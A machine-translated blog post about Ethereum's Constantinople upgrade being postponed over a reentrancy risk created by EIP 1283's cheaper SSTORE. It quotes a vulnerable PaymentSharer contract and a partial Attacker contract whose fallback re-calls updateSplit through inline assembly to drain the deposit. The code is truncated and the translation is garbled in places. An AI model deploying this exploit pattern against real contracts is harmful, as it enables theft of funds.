* Ethereum "Constantinople" update postponed due to a potential vulnerability found at the last moment

    * Many people call this event “hard fork”, but “Acne” is against .

    The long-awaited release of Constantinople was to be held on January 17, at 4AM UTC , however, once again it would be hard for the countless army of developers countdown counters to break off .

    30 hours before the official release, due to the found vulnerability, guided by the principle “it is better to perebidit, than nedobdit”, the update was postponed indefinitely.

    An event that lifted the entire community, was the reckless EIP 1283 proposal , which reduced the cost of executing the SSTORE instruction (sic!). In general, one of the main directions of the update was to reduce the cost and speed up the implementation of particularly heavy instructions.

    The events of January 15 developed as follows (time in PST):

    • at 8 am ChainSecurity publishes a description of the vulnerability ;
    • right there, Martin Holst Swende (the main security officer at the Ethereum Foundation) wakes up all the key developers, reminding you that some 37 hours are left before the update, and here we are ;
    • before noon there are heated debates in chat rooms and "voice";
    • for dinner, it was decided to cancel the update.

    The situation was aggravated by the fact that the time to deploy the ship was chosen extremely poorly: almost half of the nodes had time to update, and all the others were methodically and aggressively kicked over the past weeks. As a result, now the updated nodes will need to be updated again (either up or down ... well). And who did not have time and overslept everything - those are great, they do not need to do anything.

    Then everything was predictable - the market reacted with a course of ether (haha) that collapsed by 5%. Many, of course, were perturbed saying that how this price of instruction can influence security, why did you commit code there and so on ... But in fact, nothing unusual, everything is like everyone else.

    It is better to read about the technical details of the vulnerability in the original article from ChainSecurity , it’s not difficult to figure it out.

    If you are too lazy to dive into the code, the bottom line is that before the update, the SSTORE instruction cost so much that there was no way to change the “repository” (state) from other contracts, after the update of Constantinople, the instruction fell in price (and) many times, thereby changing the logic of the vulnerable contract.

    The contract code (with my comments):

    pragma solidity ^0.5.0;
    contract PaymentSharer {
      mapping(uint => uint) splits;
      mapping(uint => uint) deposits;
      mapping(uint => address payable) first;
      mapping(uint => address payable) second;
      // здесь мы инициализируем данные парой адресов, которые в последствии будут делить депозит (некую сумму денег)
      function init(uint id, address payable _first, address payable _second) public {
        require(first[id] == address(0) && second[id] == address(0));
        require(first[id] == address(0) && second[id] == address(0));
        first[id] = _first;
        second[id] = _second;
      // кладем сумму на депозит, который в последствии будут делить участники
      function deposit(uint id) public payable {
        deposits[id] += msg.value;
      // задаем в какой пропорции делить депозит
      function updateSplit(uint id, uint split) public {
        require(split <= 100);
        splits[id] = split;
      // непосредственно, дележ (в соответсвтии с установленной пропорцией split)
      function splitFunds(uint id) public {
        // Here would be: 
        // Signatures that both parties agree with this split
        // Split
        address payable a = first[id];
        address payable b = second[id];
        uint depo = deposits[id];
        deposits[id] = 0;
        // пересылаем долю первому участнику (здесь в атаке вызовется fallback-метод из контракта ниже)
        a.transfer(depo * splits[id] / 100);
        // остаток - второму участнику (здесь в атаке депозит уйдет на кошель злоумышленника)
        b.transfer(depo * (100 - splits[id]) / 100);

    The code of the attacking contract:

    pragma solidity ^0.5.0;
    import "./PaymentSharer.sol";
    contract Attacker {
      address private victim;
      address payable owner;
      constructor() public {
        owner = msg.sender;
      // злоумышленник вызывает эту функцию*, передав ей адрес уязвимого контракта PaymentSharer в сети
      function attack(address a) external {
        victim = a;
        PaymentSharer x = PaymentSharer(a);
        x.updateSplit(0, 100);
      // fallback метод, вызывается по умолчанию на transfer-е
      function () payable external {
        address x = victim;
        // собственно, сама уязвимость в ассемблерной вставке ниже (не что иное, как вызов updateSplit(0, 0)), т.е. нагло меняем параметр Split второй раз и опять загоняем себе полную сумму депозита
            mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
            pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
      function drain() external {

    * missing in the original, but there must be an initialization of the form somewhere:
    init (0, "address of contract Attacker", "address of the attacker's purse")

    before calling the attack method.

    Of course, there are a lot of questions about the PaymentSharer contract itself, on which we are shown vulnerability, it is crookedly crafted in and of itself, and it’s the problem,
    not the SSTORE price, and in general - we didn’t find a single live example in the release network, to be safe, all the cost of the error may be too high (here everyone remembered the long deceased DAO).

    In general, the Ethereum community is full of interesting events: the struggle of the gray cardinals of the market (GPU vs ASIC) has intensified, which in itself deserves a separate article, the upcoming release of Bacon Chain is gaining momentum - the year promises to be rich in events and intrigue.

    Also popular now: